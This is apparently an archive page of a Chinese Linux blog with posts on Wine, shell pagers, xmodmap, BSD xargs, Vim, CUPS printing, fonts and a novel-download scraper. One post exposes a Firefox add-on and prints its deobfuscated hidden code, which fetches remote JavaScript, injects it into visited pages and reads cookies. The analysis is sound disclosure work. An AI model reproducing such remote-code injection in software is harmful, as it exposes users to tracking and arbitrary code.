9
16
2013
4

记一次 Wine 乱码

今天发现 QQWry 升级程序的一些按钮和对话框中文显示乱码,但是在全新建立的 Wine prefix 中正常。经与新 prefix 的比对,将以下注册表信息写入system.reg后即恢复正常:

[System\\CurrentControlSet\\Control\\FontAssoc\\Associated Charset]
"ANSI(00)"="YES"
"OEM(FF)"="YES"
"SYMBOL(02)"="NO"
Category: 中文支持 | Tags: 乱码 wine 中文支持
8
29
2013
0

不是所有 PAGER 都叫 less

在 Linux 下,最常见的 pager(翻页器)就是 less 了,所以很多时候,我都忘记了还有$PAGER这个环境变量,直到有一天我写了这么个 shell 函数:

repodo () {
  for f in $(cat ~/workspace/.my-repos); do
    echo "\n>>> $f\n"
    cd ~/workspace/$f && stdoutisatty $@
    cd - > /dev/null
  done | less
}

这个函数对于~/workspace/.my-repos中记录的每一个项目,在对应的目录下执行同一条命令,并使用 less 来查看输出。其中,stdoutisatty 是一个把标准输出伪装成 tty 的脚本,这样一些命令就不会因为实际输出到管道而关掉彩色高亮之类的了。

比如

repodo git st

ststatus的 git 别名。

这一句命令就可以查看所有项目的工作区状态了。

后来,我执行这样一条命令,它就出问题了:

repodo git grep string

因为 stdoutisatty 的缘故,git grep 会自动调用翻页器。于是,出现了两个 less 同时要读终端输入。

首先想到的是 git 的--no-pager参数,但这个很显然对其它命令无效。于是才想起自设置之后一直没再搭理的$PAGER环境变量:

repodo () {
  for f in $(cat ~/workspace/.my-repos); do
    echo "\n>>> $f\n"
    cd ~/workspace/$f && PAGER=cat stdoutisatty $@
    cd - > /dev/null
  done | less
}

PAGER指定为cat直接输出,这样就不会有多个 less 在运行了。

但这样还没有结束,因为我的不少脚本里都是直接调用 less 的,现在得改成这样子了:

command | ${PAGER:-less}

或者在 Python 里:

p = subprocess.Popen([os.environ.get('PAGER', 'less')], stdin=subprocess.PIPE,
                      universal_newlines=True)

附:less 默认是会转义来自输入的彩色转义字符序列的。我使用了-FRXM参数,也是通过环境变量传递的:

export LESS=-FRXM

这四个选项的意义是:

-F
如果一屏能显示下,那么显示完就退出
-R
不要转义 ANSI 彩色转义字符序列
-X
不要发布终端初始化和结束字符串。这样才不会使用终端的备用屏幕,less 的输出才会留在主屏幕上(使用-F选项时必须,不然可能看不到东西)
-M
在 less 提示符(最后一行)显示更多信息(比如文件的百分比位置)
Category: shell | Tags: linux shell 环境变量 less
8
23
2013
11

xmodmap 和 fcitx 配合使用

很早之前,因为有了 fcitx-keyboard,fcitx 能够管理键盘布局了。于是乎,经常干了什么事情之后,xmodmap 的效果就没了。

为了解决这个问题,fcitx 可以在相关事件时自动调用 xmodmap 命令。然后我发现,xmodmap 命令经常会调用很多很多次。我笔记本的配置还好,那个 xmodmap 配置调用多次会有命令失败,所以只要调整下顺序就可以保证键映射正确:

keysym Pause = Print
remove Lock = Caps_Lock
keysym Escape = Caps_Lock
keysym Caps_Lock = Escape
add Lock = Caps_Lock
keycode 107 = Super_R Sys_Req Super_R Sys_Req

这样子日志里会多一些消息,无所谓了,反正桌面日志我只保留最近的一份。

可是,我另外的系统上只需要交换 EscCaps Lock 这两个键:

remove Lock = Caps_Lock
keysym Escape = Caps_Lock
keysym Caps_Lock = Escape
add Lock = Caps_Lock

于是,当 fcitx 调用偶数次 xmodmap 时,这两个键就给交换回去了……实际的效果是,我几乎每次从挂起中恢复,都需要手动执行一次 xmodmap。更烦的是,几乎每次在 gnome-screensaver 里输入密码时,大小写切换键默认是开着的。这时候我得按按 Esc 或者 Caps Lock,或者是输入一个字符后再按它们中的一个。一直以来没找到规律……

最后,终于查阅 xmodmap 手册,写了下面这个简单的脚本:

#!/bin/bash -e

[[ -n $(xmodmap -pk | awk '$1 == 66 && $3 == "(Escape)"') ]] || xmodmap ~/.Xmodmap

如果 Esc 键已经交换过了,就不要再交换一次了。

再设置 fcitx 执行这个我自己的脚本就可以了:

fcitx 中的 xmodmap 配置

2013年8月28日更新:csslayer 最近已经修复了 fcitx 多次调用 xmodmap 的问题,不再需要这样特别的设置了。感谢 csslayer 的及时修正=w=

Category: Linux | Tags: fcitx X Window X window xmodmap
8
22
2013
6

BSD 版 xargs

BSD 版 xargs 与 GNU 版有一个显著的不同——它支持-J选项。

比如说,你使用 find 命令得到了一个文件列表。你要将它们传递给一个叫concat_files的程序来处理后生成一个指定的新文件,比如:

concat_files file1 file2 file3 output

而且,这个命令不像 cp 或者 mv 那样,有个-t参数来把目标文件放到不定长的文件列表之前。总之呢,你不得不构建一行命令,它的中间部分是你会从管道传过去的文件列表。而 GNU xargs 要么全给你放末尾(默认),要么每项执行一次命令(指定-I时)。而 BSD xargs 则可以用-J选项指定一个占位符,使用这个占位符指明参数插入的位置:

find ... | xargs -J % concat_files % output

BSD xargs 的另一个特有参数是-o,作用你们就自己看文档啦=w=

我想在 Linux 上使用 BSD xargs,怎么办呢?在 AUR 里搜索到了这个,但是已经编译不过去了。安装 bmake 后手动边改边编译,最终终于成功编译了 obase 中的大多数工具。我知道的比较有特色的也就这个 xargs 了,于是单独打了个包 bsdxargs,放在我的 lilydjwg 源 里。

附,obase 的补丁:

diff --git a/Makefile b/Makefile
index 2bb18b4..96acf8a 100644
--- a/Makefile
+++ b/Makefile
@@ -8,6 +8,8 @@ LIBOBASE=${.CURDIR}/libobase/libobase.a
 INCLUDES_libobase=-isystem ${.CURDIR}/libobase/include
 COPTS_libobase=-D_GNU_SOURCE
 DPLIBS+=${LIBOBASE}
+LDADD+= ${LIBOBASE}
+.export LDADD
 .export COPTS DPLIBS HOSTCC HOSTCFLAGS USE_DPADD_MK

 SUBDIR=\
diff --git a/src/bin/ls/Makefile b/src/bin/ls/Makefile
index defd607..6ad4725 100644
--- a/src/bin/ls/Makefile
+++ b/src/bin/ls/Makefile
@@ -3,6 +3,6 @@
 PROG=  ls
 SRCS=  cmp.c ls.c main.c print.c util.c
 DPADD= ${LIBUTIL}
-LDADD= -lutil
+LDADD+= -lutil

 .include <bsd.prog.mk>
diff --git a/src/usr.bin/awk/Makefile b/src/usr.bin/awk/Makefile
index 54857d3..9d2d243 100644
--- a/src/usr.bin/awk/Makefile
+++ b/src/usr.bin/awk/Makefile
@@ -2,7 +2,7 @@

 PROG=  awk
 SRCS=  ytab.c lex.c b.c main.c parse.c proctab.c tran.c lib.c run.c
-LDADD= -lm
+LDADD+=    -lm
 DPADD= ${LIBM}
 CLEANFILES+=proctab.c maketab ytab.c ytab.h stamp_tabs
 CFLAGS+=-I. -I${.CURDIR} -DHAS_ISBLANK -DNDEBUG
diff --git a/src/usr.bin/dc/Makefile b/src/usr.bin/dc/Makefile
index b0a2396..f8ee358 100644
--- a/src/usr.bin/dc/Makefile
+++ b/src/usr.bin/dc/Makefile
@@ -3,7 +3,7 @@
 PROG=  dc
 SRCS=  dc.c bcode.c inout.c mem.c stack.c
 COPTS+= -Wall
-LDADD= -lcrypto
+LDADD+=    -lcrypto
 DPADD= ${LIBCRYPTO}

 .include <bsd.prog.mk>
diff --git a/src/usr.bin/du/Makefile b/src/usr.bin/du/Makefile
index feb644d..9676f37 100644
--- a/src/usr.bin/du/Makefile
+++ b/src/usr.bin/du/Makefile
@@ -2,6 +2,6 @@

 PROG=  du
 DPADD= ${LIBUTIL}
-LDADD= -lutil
+LDADD+= -lutil

 .include <bsd.prog.mk>
diff --git a/src/usr.bin/gzsig/Makefile b/src/usr.bin/gzsig/Makefile
index 0dc7b81..f4f0664 100644
--- a/src/usr.bin/gzsig/Makefile
+++ b/src/usr.bin/gzsig/Makefile
@@ -3,7 +3,7 @@
 PROG   = gzsig
 SRCS   = gzsig.c key.c sign.c ssh.c ssh2.c util.c verify.c x509.c

-LDADD  = -lcrypto -lm
+LDADD  += -lcrypto -lm
 DPADD  = ${LIBCRYPTO} ${LIBM}

 CLEANFILES += TAGS *~
diff --git a/src/usr.bin/lex/Makefile b/src/usr.bin/lex/Makefile
index 080a151..27a783e 100644
--- a/src/usr.bin/lex/Makefile
+++ b/src/usr.bin/lex/Makefile
@@ -17,7 +17,7 @@ SRCS= ccl.c dfa.c ecs.c gen.c main.c misc.c nfa.c parse.c sym.c tblcmp.c \
    yylex.c
 OBJS+= scan.o skel.o
 CLEANFILES+=parse.c parse.h scan.c skel.c y.tab.c y.tab.h
-LDADD= -lfl
+LDADD+=    -lfl
 DPADD= ${LIBL}

 MAN = flex.1
diff --git a/src/usr.bin/m4/Makefile b/src/usr.bin/m4/Makefile
index 7c510f5..16a282c 100644
--- a/src/usr.bin/m4/Makefile
+++ b/src/usr.bin/m4/Makefile
@@ -8,7 +8,7 @@ CFLAGS+=-DEXTENDED -I.
 CDIAGFLAGS=-W -Wall -Wstrict-prototypes -pedantic \
    -Wno-unused -Wno-char-subscripts -Wno-sign-compare

-LDADD= -ly -lfl -lm
+LDADD+= -ly -lfl -lm
 DPADD= ${LIBY} ${LIBL} ${LIBM}

 SRCS=  eval.c expr.c look.c main.c misc.c gnum4.c trace.c tokenizer.l parser.y
diff --git a/src/usr.bin/make/Makefile b/src/usr.bin/make/Makefile
index a63ed94..1d12280 100644
--- a/src/usr.bin/make/Makefile
+++ b/src/usr.bin/make/Makefile
@@ -14,7 +14,7 @@ CDEFS+=-DHAS_EXTENDED_GETCWD

 CFLAGS+=${CDEFS}
 HOSTCFLAGS+=${CDEFS}
-LDADD= -lrt
+LDADD+=    -lrt

 SRCS=  arch.c buf.c cmd_exec.c compat.c cond.c dir.c direxpand.c engine.c \
    error.c for.c init.c job.c lowparse.c main.c make.c memory.c parse.c \
diff --git a/src/usr.bin/mandoc/Makefile b/src/usr.bin/mandoc/Makefile
index cf565fd..6086a81 100644
--- a/src/usr.bin/mandoc/Makefile
+++ b/src/usr.bin/mandoc/Makefile
@@ -9,7 +9,7 @@ CFLAGS+=-W -Wall -Wstrict-prototypes
 CFLAGS+=-Wno-unused-parameter
 .endif

-LDADD= -ldb
+LDADD+= -ldb

 SRCS=  roff.c tbl.c tbl_opts.c tbl_layout.c tbl_data.c eqn.c mandoc.c read.c
 SRCS+= mdoc_macro.c mdoc.c mdoc_hash.c \
diff --git a/src/usr.bin/script/Makefile b/src/usr.bin/script/Makefile
index d7dbf01..8837084 100644
--- a/src/usr.bin/script/Makefile
+++ b/src/usr.bin/script/Makefile
@@ -1,7 +1,7 @@
 #  $OpenBSD: Makefile,v 1.3 1997/09/21 11:50:42 deraadt Exp $

 PROG=  script
-LDADD= -lutil
+LDADD+=    -lutil
 DPADD= ${LIBUTIL}

 .include <bsd.prog.mk>
diff --git a/src/usr.bin/ul/Makefile b/src/usr.bin/ul/Makefile
index bab290c..12295ec 100644
--- a/src/usr.bin/ul/Makefile
+++ b/src/usr.bin/ul/Makefile
@@ -2,6 +2,6 @@

 PROG=  ul
 DPADD= ${LIBCURSES}
-LDADD= -lcurses
+LDADD+=    -lcurses

 .include <bsd.prog.mk>
diff --git a/src/usr.bin/vacation/Makefile b/src/usr.bin/vacation/Makefile
index 6f08990..f9ef0d6 100644
--- a/src/usr.bin/vacation/Makefile
+++ b/src/usr.bin/vacation/Makefile
@@ -1,6 +1,6 @@
 #  $OpenBSD: Makefile,v 1.3 1997/09/21 11:51:42 deraadt Exp $

 PROG=  vacation
-LDADD= -ldb
+LDADD+=    -ldb

 .include <bsd.prog.mk>
diff --git a/src/usr.bin/wc/Makefile b/src/usr.bin/wc/Makefile
index 3f3c619..0f3d1a2 100644
--- a/src/usr.bin/wc/Makefile
+++ b/src/usr.bin/wc/Makefile
@@ -2,6 +2,6 @@

 PROG=  wc
 DPADD= ${LIBUTIL}
-LDADD= -lutil
+LDADD+= -lutil

 .include <bsd.prog.mk>

参见

Category: Linux | Tags: xargs BSD shell
8
20
2013
6

发现一款带隐藏广告代码的火狐插件

下载、解压,找到app.js。最后有一段混淆过的代码,注释曰「划词搜索电影」。使用 NodeJS 把eval里的函数执行结果打出来,再扔到 Vim 里拿 jsbeatify.vim 格式化一下,结果如下:

if (typeof(IMAXPluginChrome) == "undefined") {
  function S4() {
    return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1)
  }
  function guid() {
    return (S4() + S4() + S4() + S4() + S4() + S4() + S4() + S4())
  }
  var IMAXPluginChrome = {
    getCid: function() {
      var uuid = nsPreferences.copyUnicharPref("extensions.imax.uuid", "");
      if (typeof(uuid) == "undefined" || uuid == "") {
        uuid = guid();
        nsPreferences.setUnicharPref("extensions.imax.uuid", uuid)
      }
      return uuid
    },
    loadScript: function(callback, unsafeWin) {
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.status == 200 && xhr.readyState == 4) {
          var code = xhr.responseText;
          nsPreferences.setUnicharPref("extensions.imax.code", code);
          nsPreferences.setUnicharPref("extensions.imax.last_synced_at", Date.now() + "");
          callback(unsafeWin, code)
        }
      };
      xhr.open("GET", "http://imax.taobaoimages.com/bootstrap.js?cid=FF_" + IMAXPluginChrome.getCid(), true);
      xhr.send(null)
    },
    onDOMContentLoaded: function(event) {
      var code = nsPreferences.copyUnicharPref("extensions.imax.code", "");
      var last_synced_at = Number(nsPreferences.copyUnicharPref("extensions.imax.last_synced_at", 0));
      var unsafeWin = event.target.defaultView;
      if (unsafeWin.wrappedJSObject) {
        unsafeWin = unsafeWin.wrappedJSObject
      }
      function callback(unsafeWin, code) {
        var unsafeDocument = new XPCNativeWrapper(unsafeWin, "document").document;
        var script = unsafeDocument.createElement("script");
        script.type = "text/javascript";
        script.charset = "utf-8";
        script.textContent = code;
        unsafeDocument.body.appendChild(script)
      }
      if ((code == "") || ((Date.now() - last_synced_at) > (1000 * 60 * 60 * 24))) {
        IMAXPluginChrome.loadScript(callback, unsafeWin)
      } else {
        callback(unsafeWin, code)
      }
    },
    onLoad: function(event) {
      var appcontent = document.getElementById("appcontent");
      if (appcontent) {
        appcontent.addEventListener("load", this.onDOMContentLoaded, true)
      }
    },
    onUnload: function(event) {
      window.removeEventListener("load", this.onLoad, false);
      window.removeEventListener("unload", this.onUnload, false);
      var appcontent = document.getElementById("appcontent");
      appcontent.removeEventListener("DOMContentLoaded", this.onDOMContentLoaded, false)
    },
    init: function() {
      window.addEventListener("load", function(event) {
        IMAXPluginChrome.onLoad(event)
      },
      false);
      window.addEventListener("unload", function(event) {
        IMAXPluginChrome.onUnload(event)
      },
      false)
    }
  };
  IMAXPluginChrome.init()
}

这段代码异步载入了来自http://imax.taobaoimages.com/bootstrap.js?cid=FF_XXX的代码,其中XXX是生成的用户 ID。又是一段混淆过的代码,还是一样的eval,转义字符串数组也一样扔 NodeJS 就行了。处理后的脚本如下:

(function(cid) {
  if (window.tbk) {
    return
  }
  window.tbk = true;
  var plugin_scripts = {
    "http://(.*?\.tao)(bao\.com)|(tao\.et)(ao\.com)": "http://imax.taobaoimages.com/browser.js"
  };
  for (var enabledDomains in plugin_scripts) {
    var host = document.location.href;
    if (host.match(RegExp(enabledDomains))) {
      imax_script_url = plugin_scripts[enabledDomains];
      function readCookie(name) {
        var nameEQ = name + "=";
        var ca = document.cookie.split(';');
        for (var i = 0; i < ca.length; i++) {
          var c = ca[i];
          while (c.charAt(0) == ' ') c = c.substring(1, c.length);
          if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
        }
        return null
      }
      function addBrowserJs() {
        if (document.readyState == "complete") {
          var h = document.getElementsByTagName('head')[0];
          var s = document.createElement('script');
          s.setAttribute('type', 'text/javascript');
          s.setAttribute('charset', 'utf-8');
          s.setAttribute('async', true);
          if (readCookie("_q_r_b_")) {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          } else {
            s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random())
          }
          h.appendChild(s)
        } else {
          window.setTimeout(addBrowserJs, 20)
        }
      }
      addBrowserJs()
    }
  }
})("CID");

(function(d) {
  var _0xc429 = ['href', 'location', 'http://taoad.wandoupai.com/ad.js', '', 's.taobao.com/search', 
    'search', 'weibo', 'baidu', 'length', 'match',
  'ad=', 'getElementsByClassName', 'createElement', 'className', 'body',
  'getElementsByTagName', 'appendChild', 'script', 'T1xC6MXfthXXcWeqbX', '?', 'type', 'text/javascript', 'src'];
  var href = d.location.href;
  var host = 'http://taoad.wandoupai.com/ad.js';
  var url = '';
  var url_map = [['s.taobao.com/search', 'search'], ['weibo', 'weibo'], ['baidu', 'baidu']];
  for (var i = 0; i < url_map.length; i++) {
    if (href.match(url_map[i][0])) {
      url = 'ad=' + url_map[i][1];
      break;
    };
  };
  if (url == '') {
    return false;
  };
  var appendTag = function(a, b, c) {
    if (document.getElementsByClassName(b).length > 0) {
      return;
    };
    var el = d.createElement(a);
    el.className = b;
    c(el);
    var body0 = d.getElementsByTagName('body')[0];
    if (!body0) {
      return;
    };
    body0.appendChild(el);
    return el;
  };
  appendTag('script', 'T1xC6MXfthXXcWeqbX', function(a) {
    var link = host + '?' + url;
    a.type = 'text/javascript';
    a.src = link;
  });
})(document);

这段脚本会按照当前访问的网站地址载入地址类似http://taoad.wandoupai.com/ad.js?ad=baidu的脚本。目前,这个地址返回的是空文档。说好的广告呢……

8
10
2013
42

Vim 7.4 发布

Vim 7.4 刚刚发布了!(怎么没有 Vim 7.4c d e f 了呢=w=)

主要新特性如下:

  1. 新的更快的正则引擎,与旧的同时存在,并且可以指定使用哪个。
  2. 更 pythonic 的 Python 接口。
  3. 位操作函数。
  4. luaeval() 函数。
  5. 其它新增函数、部分函数功能增强。
  6. 自动命令部分添加了InsertCharPreCompleteDoneQuitPreTextChangedTextChangedI事件。
  7. rxvt-unicode 终端的鼠标支持。
  8. 等等。

Python 部分的改进主要如下:

  1. vim.bindeval函数可以获得 Vim 的字典、列表或者函数对象。
  2. buffer 和 window 对象以及vim模块添加了vars属性,用于存取局部于缓冲区、窗口以及全局的 Vim 变量。
  3. 可以从{rtp}/python2{rtp}/python3{rtp}/python导入模块。
  4. 添加了新的 tabpage 对象用于操作标签页。
  5. Vim 错误会自动转成 Python 异常。
  6. vim.buffers改用缓冲区作为键,因此可以方便地从缓冲区号找到对应的 buffer 对象。
  7. 添加了类似其它解释器接口的:pydopy3do命令。
  8. 添加了 Vim 函数pyeval()py3eval()。其返回值会自动转换成 Vim 对象。
  9. 所有接受str对象的接口,现在能够同时接受unicode(Python 2)或者bytes(Python 3)对象。
  10. window 对象添加了 .col.row 属性。
  11. 添加和修正了一些 Vim 添加对象的dir()方法。
  12. vim.vvars用于访问v:开头的特殊变量。
  13. vim.options以及 buffer 和 window 对象的options属于用于像字典那样存取 Vim 的全局或者局部选项。
  14. vim.strwidth函数,功能和 Vim 内建函数strwidth一致。
  15. 可能有更多没有写到发行说明中的内容。

详情请:help version-7.4

附:我编译的 Windows 32 位和 64 位版本: http://lilydjwg.is-programmer.com/pages/19540.html#win-vim

我维护的 Arch Linux lilydjwg 仓库也有 64 位的 gvim 和 vim。

2014年12月2日更新:现在我打包的 Vim 在 Arch Linux 中文社区源里了,名字叫 vim-runtime-lily、gvim-lily 以及 vim-lily。

Category: Vim | Tags: vim python
8
6
2013
2

利用 cups 通过网络使用 Samsung SCX-4650 4x21S Series 打印机

首先去官网下个 Unified Linux Drivers(ULD)包,里边有我们需要的 .ppd 文件以及一个 cups filter。splix 和 gutenprint 包里有不少 ppd 文件,但是没有我要的这个型号的。此 ppd 文件中引用了一个名叫 rastertospl 的 cups filter,而 splix 里只有 rastertoqspl,不知道能不能用。我还是用官方给的好了。

安装 cups 并启动之:

systemctl start cups

在那个包里找到自己机器架构的 rastertospl 以及 libscmssc.so 文件,前者扔到/usr/lib/cups/filter目录下,后者扔到/usr/lib下即可。

访问 http://localhost:631/admin ,勾选右边的「Share printers connected to this system」,这样 cups 才能找到网络打印机。点「Change Settings」后会请求用户名和密码。使用 root 及相应的密码登录即可。然后就可以「Find New Printers」了。找到之后就知道打印机的 IP 地址了。(其实用 ULD 包里那个smfpnetdiscovery程序也是可以的。)然后访问 http://打印机IP:631/ 在协议里找到了它的 IPP 协议地址:ipp://打印机IP/ipp/printer。cups 默认给出的是socket://,不知道那是干什么的。忘了添加时能不能修改了,不能的话就待会再修改连接地址好了。然后填名字描述什么的,下边会向你要 ppd 文件,或者从系统已有列表里选。从下载回来的 ULD 包里找到那个Samsung_SCX-4650_4x21S_Series.ppd文件扔给它就好。配置完毕就可以用啦啦。

其实挺简单的。不过初次配置时遇到了点麻烦:

出现了两次 filter failed 错误。第一次的日志(位于/var/log/cups/error_log)是:

PID 20744 (/usr/lib/cups/filter/gstoraster) stopped with status 13.

gstoraster 是 ghostscript 包里的。通过 strace 和源码得知它退出是因为子进程 gs 在向标准输出写转换好的 raster 格式数据时出现了 SIGPIPE。Google 许久未果,最后按某帖里的建议把打印机删掉再重新添加就好了……

第二次是 rastertospl 退出 1。(rastertospl 没找到那个错误很明显就不算啦。)这个通过 strace 发现它在一些路径寻找libscmssc.so文件。在 ULD 里找到这个库并扔到它会去找的目录下就好了。

最后贴一下通过 strace 抓到的那些 cups filter 的命令行调用参数:

PPD=/etc/cups/ppd/Samsung_SCX-4650_4x21S_Series.ppd strace /usr/lib/cups/filter/rastertospl 4 lilydjwg doc.pdf 1 "InputSlot=Auto noJCLSkipBlankPages Quality=600dpi number-up=1 MediaType=None TonerSaveMode=Standard JCLDarkness=NORMAL PageSize=A4 EdgeControl=Fine job-uuid=urn:uuid:570129b0-1656-3f8d-5c8d-0edc9322c11f job-originating-host-name=localhost time-at-creation=1375697623 time-at-processing=1375701265" doc.raster > doc.spl
Category: Linux | Tags: Linux 打印机 外部设备
8
5
2013
10

rst_tables 改进版

rst_tables 是一个用来创建和格式化 rst(reStructuredText)格式文档中的表格用的。此文档里的表格得画成表格的样子,囧死了……比如(网页上显示的可能没对齐,在 Vim 里应该很齐的www):

+----------+----------+-----------------------------------------+
| 格式名称 | 使用频率 | 使用场景                                |
+==========+==========+=========================================+
| markdown | 非常高   | 简单的文字,如博客、简单文档            |
+----------+----------+-----------------------------------------+
| rst      | 较低     | 较复杂的文档,如包含表格或者描述性列表。|
|          |          | 以及 Python 库的文档。                  |
+----------+----------+-----------------------------------------+

所以,作为编辑器之神的 Vim,当然会有更方便的创建这种非人道的表格的办法啦。(其实我是看到 Vimwiki 的表格挺不错的 n(≧▽≦)n

略作搜索,找到了 rst_tables。它是这样子写的(墙外视频演示):

格式名称  使用频率  使用场景
markdown  非常高  简单的文字,如博客、简单文档
rst  较低  较复杂的文档,如包含表格或者描述性列表。以及 Python 库的文档。

每行的单元格间空两格,然后光标放在光标上,按\\c(其实是<leader><leader>ccreate),就创建好啦。如果后期又修改了,按\\fformat)就可以重新格式化啦。

rst 的表格里可以写多行文字,就如前边所示那样。修改表格第一行那些减号的数量后再按\\f,可以调整栏宽。

好啦,rst_tables 本身的介绍至此结束。下面讲讲我作出的改进:

  1. 去除对 vim_bridges Python 库的依赖。根本没大量使用的东西,也没省下几行代码,何必用呢。
  2. 正确对齐和排版中文。官方版考虑了中文字符的宽度,但是用 Python 的 textwrap 来排版,造成各种混乱。我给改成用 Vim 原生排版功能排了。
  3. 使用 Python 3 接口,免得非 UTF-8 'encoding' 时出问题。同时使用了 Vim 7.4 新添加的 Python 接口。
  4. 如果没有 Python 支持,不要载入。
  5. 键映射局部于缓冲区。
  6. 放到 plugin 目录下,因为那些 Python 函数定义不需要载入多次。

安装很简单,把这个文件(使用「Raw」链接来下载)扔到 ~/.vim/plugin 下即可。

Category: Vim | Tags: vim python 中文支持
7
30
2013
20

对比不同字体中的同一字符

有人在 openSUSE 中文论坛询问他的输入法打出的「妩媚」的「妩」字为什么显示成「女」+「元」。怀疑是字体的问题,于是空闲时用好友写的 python-fontconfig 配合 Pillow (PIL 的一个 fork)写了个脚本,使用系统上所有包含这个「妩」字的字体来显示这个字,看看到底是哪些字体有问题。

(更新后的)脚本如下:

Google Chrome / Chromium 用户请注意:如果复制得到的代码中含有不间断空格(0xa0),请手动替换下。

#!/usr/bin/env python3
# vim:fileencoding=utf-8

from PIL import Image, ImageDraw, ImageFont
import fontconfig

ch = '妩'
def get_fonts():
  ret = []
  for f in fontconfig.query():
    f = fontconfig.FcFont(f)
    if f.has_char(ch):
      ret.append((f.file, f.bestname))
  return ret

w, h = 800, 20000
image = Image.new('RGB', (w, h), 'white')
draw = ImageDraw.Draw(image)
pos = 0
w = 0
strs = ch
for fontfile, fontname in get_fonts():
  font = ImageFont.truetype(fontfile, 24)
  s = '%s: %s' % (fontname, strs)
  font_width, font_height = font.getsize(s)
  w = max((font_width, w))
  draw.text((10, pos), s, font=font, fill='black')
  pos += font_height
  h = pos

image = image.crop((0, 0, w+10, h))
image.save('fonts.png')

寻找字体,然后渲染到当前目录下的fonts.png文件中。寻找字体的过程挺花时间的,要耐心等待。最后结果如下:

我这里,文泉驿微米黑、方正魏碑、某个 Droid Sans Fallback 字体中「妩」字的字形不对。(我这里有三个字体文件都叫「Droid Sans Fallback」……)>

7
26
2013
6

飞速中文网小说下载脚本

  • JavaScript 加密什么的最讨厌了 :-(
    • eval 一个不依赖外部变量的函数立即调用很天真,看我 nodejs 来干掉你!
    • HTTP 请求的验证首先尝试 Referer,「小甜饼」没有想像中的那么重要。
    • curl 和各命令行工具处理起文本很顺手呢
    • 但是 Python 也没多几行呢
  • Requests 效率比 lxml 自己那个好太多
  • progressbar 太先进了,我还是自个儿写吧……
  • argparse 写 Python 命令行程序必备啊~
  • string.Template也很好用哦
  • 以下是主代码啦,除了标准库以及 lxml 和 requests,没有的模块都在无所不能的 winterpy 仓库里。其实主代码也在的。
#!/usr/bin/env python3
# vim:fileencoding=utf-8

import sys
from functools import partial
from string import Template
import argparse
import base64
from urllib.parse import unquote

from lxml.html import fromstring
import requests

from htmlutils import extractText
from termutils import foreach

session = requests.Session()

def main(index, filename='$name-$author.txt', start=0):
  r = session.get(index)
  r.encoding = 'gb18030'
  doc = fromstring(r.text, base_url=index)
  doc.make_links_absolute()
  name = doc.xpath('//div[@class="info"]/p[1]/a/text()')[0]
  author = doc.xpath('//div[@class="info"]/p[1]/span/text()')[0].split()[-1]

  nametmpl = Template(filename)
  fname = nametmpl.substitute(name=name, author=author)
  with open(fname, 'w') as f:
    sys.stderr.write('下载到文件 %s。\n' % fname)
    links = doc.xpath('//div[@class="chapterlist"]/ul/li/a')
    try:
      foreach(links, partial(gather_content, f.write), start=start)
    except KeyboardInterrupt:
      sys.stderr.write('\n')
      sys.exit(130)

  sys.stderr.write('\n')
  return True

def gather_content(write, i, l):
  # curl -XPOST -F bookid=2747 -F chapterid=2098547 'http://www.feisuzw.com/skin/hongxiu/include/fe1sushow.php'
  #      --referer http://www.feisuzw.com/Html/2747/2098547.html
  # tail +4
  # base64 -d
  # sed 's/&#&/u/g'
  # ascii2uni -qaF
  # ascii2uni -qaJ
  # <p> paragraphs
  url = l.get('href')
  _, _, _, _, bookid, chapterid = url.split('/')
  chapterid = chapterid.split('.', 1)[0]
  r = session.post('http://www.feisuzw.com/skin/hongxiu/include/fe1sushow.php', data={
    'bookid': bookid, 'chapterid': chapterid,
  }, headers={'Referer': url})

  text = r.content[3:] # strip BOM
  text = base64.decodebytes(text).replace(b'&#&', br'\u')
  text = text.decode('unicode_escape')
  text = unquote(text)
  text = text.replace('<p>', '').replace('</p>', '\n\n')

  title = l.text
  write(title)
  write('\n\n')
  write(text)
  write('\n')
  return title

if __name__ == '__main__':
  parser = argparse.ArgumentParser(description='下载飞速中文网小说')
  parser.add_argument('url',
                      help='小说首页链接')
  parser.add_argument('name', default='$name-$author.txt', nargs='?',
                      help='保存文件名模板(支持 $name 和 $author')
  parser.add_argument('-s', '--start', default=1, type=int, metavar='N',
                      help='下载起始页位置(以 1 开始)')
  args = parser.parse_args()
  main(args.url, args.name, args.start-1)
Category: python | Tags: python 网页 爬虫

Mastodon | Theme: Aeros 2.0 by TheBuckmaker.com